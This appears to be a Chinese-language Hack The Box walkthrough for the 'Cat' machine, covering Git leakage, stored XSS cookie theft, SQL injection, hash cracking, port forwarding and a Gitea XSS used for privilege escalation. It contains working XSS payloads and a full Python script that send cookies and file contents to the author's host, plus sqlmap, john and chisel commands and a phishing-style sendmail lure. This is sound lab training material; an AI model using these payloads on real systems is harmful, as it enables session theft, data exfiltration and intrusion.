freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

HTB-Cat
Obito 2025-02-25 20:08:16 17317
所属地 河南省

靶机信息

image-20250203145639555

靶机链接:https://app.hackthebox.com/machines/Cat

靶机IP:10.10.11.53

渗透过程

初始侦察

fscan端口信息收集

┌──(kali㉿kali)-[~/rednotes]
└─$ ./fscan -h 10.10.11.53 -nobr -nopoc

___                             _    
/ _ \     ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_| \__,_|\___|_|\_\  
                  fscan version: 1.8.4
start infoscan
10.10.11.53:22 open
10.10.11.53:80 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://10.10.11.53       code:301 len:300   title:301 Moved Permanently 跳转url: http://cat.htb/
已完成 2/2
[*] 扫描结束,耗时: 3.565526482s

-nobr跳过sql,ftp,ssh等的密码爆破 -nopoc跳过web poc扫描

nmap详细信息扫描

┌──(kali㉿kali)-[~/rednotes]
└─$ nmap -sTVC -O -p22,80 10.10.11.53
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-03 15:01 CST
Nmap scan report for 10.10.11.53 (10.10.11.53)
Host is up (0.33s latency).

PORT   STATE SERVICE VERSION
22/tcp open ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
|   256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_ 256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open http   Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://cat.htb/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

把cat.htb写入到/etc/hosts

TCP80端口web渗透

目录爆破

┌──(kali㉿kali)-[~/rednotes/cat]
└─$ dirb http://cat.htb

---- Scanning URL: http://cat.htb/ ----
+ http://cat.htb/.git/HEAD (CODE:200|SIZE:23)

Git泄露

https://github.com/lijiejie/GitHack

python3 GitHack.py http://cat.htb/.git/

tree看一下结构

┌──(kali㉿kali)-[~/rednotes/LinkVortex/GitHack/cat.htb]
└─$ tree .
.
├── accept_cat.php
├── admin.php
├── config.php
├── contest.php
├── css
│   └── styles.css
├── delete_cat.php
├── img
│   ├── cat1.jpg
│   ├── cat2.png
│   └── cat3.webp
├── img_winners
│   ├── cat1.jpg
│   ├── cat2.png
│   └── cat3.webp
├── index.php
├── join.php
├── logout.php
├── view_cat.php
├── vote.php
├── winners
│   └── cat_report_20240831_173129.php
└── winners.php

5 directories, 19 files

在admin.php发现管理员axel 看一下view_cat.php文件

// Check if the user is logged in                                                      
if (!isset($_SESSION['username']) || $_SESSION['username'] !== 'axel') {              
header("Location: /join.php");                                                    
exit();                                                                            
}  

判断用户是否为axel即管理员用户

<div class="container">
<h1>Cat Details: <?php echo $cat['cat_name']; ?></h1>
<img src="<?php echo $cat['photo_path']; ?>" alt="<?php echo $cat['cat_name']; ?>" class="cat-photo">
<div class="cat-info">
    <strong>Name:</strong> <?php echo $cat['cat_name']; ?><br>
    <strong>Age:</strong> <?php echo $cat['age']; ?><br>
    <strong>Birthdate:</strong> <?php echo $cat['birthdate']; ?><br>
    <strong>Weight:</strong> <?php echo $cat['weight']; ?> kg<br>
    <strong>Owner:</strong> <?php echo $cat['username']; ?><br>
    <strong>Created At:</strong> <?php echo $cat['created_at']; ?>
</div>
</div

再看后面,其中<strong>Owner:</strong> <?php echo $cat['username']; ?><br>会显示用户名,即用户名可控 小tips:修改成<strong>Owner:</strong> <?php echo htmlspecialchars($cat['username']); ?><br>即可 contest.php是一个提交界面

$stmt->bindParam(':cat_name', $cat_name, PDO::PARAM_STR);
$stmt->bindParam(':age', $age, PDO::PARAM_INT);
$stmt->bindParam(':birthdate', $birthdate, PDO::PARAM_STR);
$stmt->bindParam(':weight', $weight, PDO::PARAM_STR);
$stmt->bindParam(':photo_path', $target_file, PDO::PARAM_STR);
$stmt->bindParam(':owner_username', $_SESSION['username'], PDO::PARAM_STR);

思路:注册一个xss_payload,然后登录进去,在/contest.php,随便填写一下表单,因为axel用户会查看,所以可以获取axel用户的cookie

系统立足点

xss获取cookie

注册一个用户,账户使用:

<script>document.location='http://10.10.16.14:8888/?c='+document.cookie;</script>

使用python开启一个http服务

python3 -m http.server 8888

然后登录进去,随便填写,上传一个照片

image-20250203200706428

收到cookie

image-20250203204809517

sql注入&sqlmap

accept_cat.php

<?php
include 'config.php';
session_start();
if (isset($_SESSION['username']) && $_SESSION['username'] === 'axel') {
if ($_SERVER["REQUEST_METHOD"] == "POST") {
if (isset($_POST['catId']) && isset($_POST['catName'])) {
$cat_name = $_POST['catName'];
$catId = $_POST['catId'];
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
$pdo->exec($sql_insert);

$stmt_delete = $pdo->prepare("DELETE FROM cats WHERE cat_id = :cat_id");
$stmt_delete->bindParam(':cat_id', $catId, PDO::PARAM_INT);
$stmt_delete->execute();

echo "The cat has been accepted and added successfully.";
} else {
echo "Error: Cat ID or Cat Name not provided.";
}
} else {
header("Location: /");
exit();
}
} else {
echo "Access denied.";
}
?>

catName没做处理,直接拼接到了sql语句中,sqlmap直接跑,发现存在注入,最后汇总payload

┌──(kali㉿kali)-[~/rednotes/cat]   
└─$ sqlmap -u "http://cat.htb/accept_cat.php" --data "catId=1&catName=mal" --cookie="PHPSESSID=cege257iom0cqihqnnp0ileg8l" --batch --dbms SQLite -p catName --level 5 --risk 3 -D
SQLite_masterdb -T users --dump --threads=10
user_idemailpasswordusername
1axel2017@gmail.comd1bbba3670feb9435c9841e46e60ee2faxel
2rosamendoza485@gmail.comac369922d560f17d6eeb8b2c7dec498crosa
3robertcervantes2000@gmail.com42846631708f69c00ec0c0a8aa4a92adrobert

有人问:这样操作太吃技术了,有没有简单又便捷的方式获取hash 有的,有的!

xss&sqlmap一把梭脚本

import time
import requests
import re
import random
import subprocess
import os
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
import urllib.parse
import logging

# Configure debug logging
logging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(levelname)s - %(message)s')
DEBUG = 0 # Set to 1 to enable debugging, 0 to disable

def pr_debug(message):
if DEBUG:
logging.debug(message)

# Configuration
TARGET_HOST = "http://cat.htb"
ATTACKER_IP = "10.10.xx.xx" # Change this
ATTACKER_SERVER = f"http://{ATTACKER_IP}"
SQLMAP_PATH = "/usr/bin/sqlmap"

# XSS Payload to steal admin's PHPSESSID
XSS_PAYLOAD = f'<script>fetch("{ATTACKER_SERVER}/?c="+encodeURIComponent(document.cookie));</script>'

USERNAME = XSS_PAYLOAD
PASSWORD = "axura"
pr_debug(f"Username for exploitation:\n{USERNAME}")

# Global variable to store the leaked session
admin_session_id = None

class RequestHandler(BaseHTTPRequestHandler):
"""HTTP Server to Capture PHPSESSID"""
def do_GET(self):
"""Capture and log incoming requests"""
global admin_session_id

pr_debug("Received request from HTTP server:")
pr_debug(self.path)
parsed_path = urllib.parse.urlparse(self.path)
query_params = urllib.parse.parse_qs(parsed_path.query)
pr_debug(f"Query Parameters: {query_params}")

if "c" in query_params:
session_id = query_params["c"][0]
if "PHPSESSID=" in session_id:
session_id = session_id.replace("PHPSESSID=", "")
pr_debug(f"[+] Captured admin PHPSESSID: {session_id}")

# Store the session in the global variable instead of a file
admin_session_id = session_id

# Send a response
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"OK")

def start_http_server():
"""Starts an HTTP server in a background thread to capture admin cookies."""
server_address = ("0.0.0.0", 80) # Change from 80 to 8080 to avoid permission issues
httpd = HTTPServer(server_address, RequestHandler)
print("[*] Listening on port 8080 for leaked PHPSESSID...")
thread = threading.Thread(target=httpd.serve_forever, daemon=True)
thread.start()

def generate_random_email():
"""Generate a unique email for registration to bypass duplicate checks."""
return f"sqli{random.randint(1000, 9999)}@axura.com"

def register_new_account():
"""Registers a new account with XSS payload in the username."""
email = generate_random_email()
encoded_email = urllib.parse.quote(email)
encoded_username = urllib.parse.quote(USERNAME)
register_url = f"{TARGET_HOST}/join.php?username={encoded_username}&email={encoded_email}&password={PASSWORD}&registerForm=Register"
print(f"[*] Registering new account with email: {email}")
response = requests.get(register_url)

if response.status_code == 200:
print("[+] Registration successful")
return email
else:
print("[-] Registration failed")
return None

def login_and_get_cookie():
"""Logs in with the injected XSS username and returns PHPSESSID."""
session = requests.Session()
encoded_username = urllib.parse.quote(USERNAME)
login_url = f"{TARGET_HOST}/join.php?loginUsername={encoded_username}&loginPassword={PASSWORD}&loginForm=Login"

print("[*] Logging in with injected username...")
response = session.get(login_url, allow_redirects=True)

session_id = session.cookies.get("PHPSESSID")

if session_id:
print(f"[+] Logged in successfully. Captured PHPSESSID: {session_id}")
return session, session_id
else:
print("[-] Login failed. No PHPSESSID found.")
return None, None

def submit_cat_entry(session):
"""Submits a cat entry using the valid PHPSESSID."""
contest_url = f"{TARGET_HOST}/contest.php"
headers = {"Referer": f"{TARGET_HOST}/contest.php", "User-Agent": "Mozilla/5.0"}
files = {"cat_photo": ("test.jpg", b"GIF89a aaa\naxura", "image/jpeg")}
data = {"cat_name": "tom", "age": "1", "birthdate": "2077-12-31", "weight": "1"}

print(f"[*] Submitting cat entry...")
response = session.post(contest_url, headers=headers, files=files, data=data, allow_redirects=False)

if response.status_code == 200 and "Cat has been successfully sent for inspection." in response.text:
print("[+] Cat entry submitted successfully!")
return True
else:
print("[-] Submission failed!")
return False

def wait_for_admin_session():
"""Waits until the admin session ID is leaked via XSS and captured."""
global admin_session_id

print("[*] Waiting for admin session to be leaked...")
for attempt in range(60):
time.sleep(5)

if admin_session_id:
print(f"[+] Captured admin PHPSESSID: {admin_session_id}")
return admin_session_id

print(f"[*] Checking again... (Attempt {attempt+1}/60)")

print("[-] Failed to retrieve admin session after max retries.")
return None

def validate_session(session_id):
"""Checks if the admin session is still valid."""
url = f"{TARGET_HOST}/accept_cat.php"
headers = {"Cookie": f"PHPSESSID={session_id}"}
response = requests.get(url, headers=headers)
if "Access denied." in response.text:
print("[-] Session has expired.")
return False
print("[+] Session is still valid.")
return True

def run_sqlmap(admin_session):
"""Runs SQLMap using the admin PHPSESSID."""
print(f"[*] Running SQLMap with Admin PHPSESSID: {admin_session}")
sqlmap_command = [
SQLMAP_PATH,
"-u", f"{TARGET_HOST}/accept_cat.php",
"--data", "catId=2077&catName=Tom",
"--cookie", f"PHPSESSID={admin_session}",
"-p", "catName",
"--dbms=SQLite",
"--technique=B",
"-Tusers",
"--dump",
"--no-cast",
"--threads=5",
"--batch",
"--level=5",
"--risk=3",
]
subprocess.run(sqlmap_command)

def main():
print("[*] Initializing attack...")
start_http_server()

while True:
print("\n[*] Starting a new execution cycle...")

email = register_new_account()
if not email:
continue

session, session_id = login_and_get_cookie()
if not session:
continue

if not submit_cat_entry(session):
continue

admin_session = wait_for_admin_session()
if not admin_session:
continue

while validate_session(admin_session):
run_sqlmap(admin_session)

print("[-] Admin session expired. Restarting entire process...")

if __name__ == "__main__":
main()

修改一下ATTACKER_IP为自己的IP,默认监听80端口

hash_crack

┌──(kali㉿kali)-[~/rednotes/cat]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 512/512 AVX512BW 16x3])
Warning: no OpenMP support for this hash type, consider --fork=6
Press 'q' or Ctrl-C to abort, almost any other key for status
soyunaprincesarosa (?)
1g 0:00:00:00 DONE (2025-02-03 22:10) 8.333g/s 30041Kp/s 30041Kc/s 30041KC/s sp060392wsxdr..soyunamalditaprinces
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

最终只有一组凭据rosa:soyunaprincesarosa

User_flag

ssh登录上去,rosa家目录下没有user.txt

rosa@cat:/home$ ls -liah
total 24K
131076 drwxr-xr-x 6 root root 4.0K Aug 30 23:19 .
2 drwxr-xr-x 19 root root 4.0K Aug 31 18:28 ..
172844 drwxr-x--- 5 axel axel 4.0K Jan 21 12:52 axel
139301 drwxr-x--- 3 git git 4.0K Jan 21 12:49 git
139313 drwxr-x--- 6 jobert jobert 4.0K Jan 21 12:49 jobert
139318 drwxr-x--- 6 rosa rosa 4.0K Feb 3 12:27 rosa

寻找其他用户的凭据

rosa@cat:/var$ grep -R axel ./* 2>/dev/null

暴力但好用,找到了axel的密码

image-20250203222943948

先试的axel和jobert,最后尝试grep了一下git,信息太多了,搞的虚拟机都卡了

image-20250203223413595

提权分析

在枚举的过程中发现一封邮件

From: rosa@cat.htb  
Date: Sat, 28 Sep 2024 04:51:49 GMT
Subject: New cat services
Hi Axel,
We are planning to launch new cat-related web services, including a cat care website and other projects.
Please send an email to jobert@localhost with information about your Gitea repository.
Jobert will check if it is a promising service that we can develop.

Important note: Be sure to include a clear description of the idea so that I can understand it properly.
I will review the whole repository.
---
From: rosa@cat.htb
Date: Sat, 28 Sep 2024 05:05:28 GMT
Subject: Employee management
We are currently developing an employee management system.
Each sector administrator will be assigned a specific role,
while each employee will be able to consult their assigned tasks.
The project is still under development and is hosted in our private Gitea.
You can visit the repository at:
http://localhost:3000/administrator/Employee-management/
In addition, you can consult the README file,
highlighting updates and other important details, at:
http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md

借助ai翻译一下

image-20250203224755886

image-20250203224923796

发现的确有个3000端口

chisel端口转发

┌──(kali㉿kali)-[~/rednotes]
└─$ ./chisel server -p 12345 --reverse

axel@cat:/tmp$ ./chisel client 10.10.16.14:12345 R:3000:127.0.0.1:3000

访问127.0.0.1:3000发现是Gitea且版本为1.22.0 Google搜索找到了利用 https://www.exploit-db.com/exploits/52077

权限提升

Gitea 1.22.0 - Stored XSS(CVE-2024-6886)

image-20250204151532135

可以新建一个仓库,然后再描述字段插入xss语句 前面的邮件提到了http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md包含项目更新和其他重要细节,我们读取它试试 tips:README.md没读取成功,index.php读取到了且需要在仓库下新建一个空白文件

<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php')  
.then(response => response.text())
.then(data => fetch('http://10.10.16.14/?response=' + encodeURIComponent(data)))
.catch(error => console.error('Error:', error));">XSS test</a>

因为这个触发需要点击,所以我们也要发一封邮件让jobert去点击

axel@cat:/tmp$ echo -e "Subject: test \n\nHello check my repo http://localhost:3000/axel/test" | sendmail jobert@localhost

同时开启本地监听

┌──(kali㉿kali)-[~/rednotes/LinkVortex/GitHack/cat.htb]
└─$ nc -lvnp 80
listening on [any] 80 ...
connect to [10.10.16.14] from (UNKNOWN) [10.10.11.53] 34706
GET /?response=%3C%3Fphp%0A%24valid_username%20%3D%20%27admin%27%3B%0A%24valid_password%20%3D%20%27IKw75eR0MR7CMIxhH0%27%3B%0A%0Aif%20(!isset(%24_SERVER%5B%27PHP_AUTH_USER%27%5D)%20%7C%7C%20!isset(%24_SERVER%5B%27PHP_AUTH_PW%27%5D)%20%7C%7C%20%0A%20%20%20%20%24_SERVER%5B%27PHP_AUTH_USER%27%5D%20!%3D%20%24valid_username%20%7C%7C%20%24_SERVER%5B%27PHP_AUTH_PW%27%5D%20!%3D%20%24valid_password)%20%7B%0A%20%20%20%20%0A%20%20%20%20header(%27WWW-Authenticate%3A%20Basic%20realm%3D%22Employee%20Management%22%27)%3B%0A%20%20%20%20header(%27HTTP%2F1.0%20401%20Unauthorized%27)%3B%0A%20%20%20%20exit%3B%0A%7D%0A%0Aheader(%27Location%3A%20dashboard.php%27)%3B%0Aexit%3B%0A%3F%3E%0A%0A HTTP/1.1
Host: 10.10.16.14
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: http://localhost:3000
Connection: keep-alive
Priority: u=4

解码获得:

<?php
$valid_username = 'admin';
$valid_password = 'IKw75eR0MR7CMIxhH0';

if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) ||
$_SERVER['PHP_AUTH_USER'] != $valid_username || $_SERVER['PHP_AUTH_PW'] != $valid_password) {

header('WWW-Authenticate: Basic realm="Employee Management"');
header('HTTP/1.0 401 Unauthorized');
exit;
}

header('Location: dashboard.php');
exit;
?>

应该是root的密码,ssh连接不上,直接su切换成root

image-20250204151653420

# 漏洞 # 渗透测试 # 网络安全 # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 Obito 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Obito LV.1
这家伙太懒了,还未填写个人描述!
  • 1 文章数
  • 0 关注者
文章目录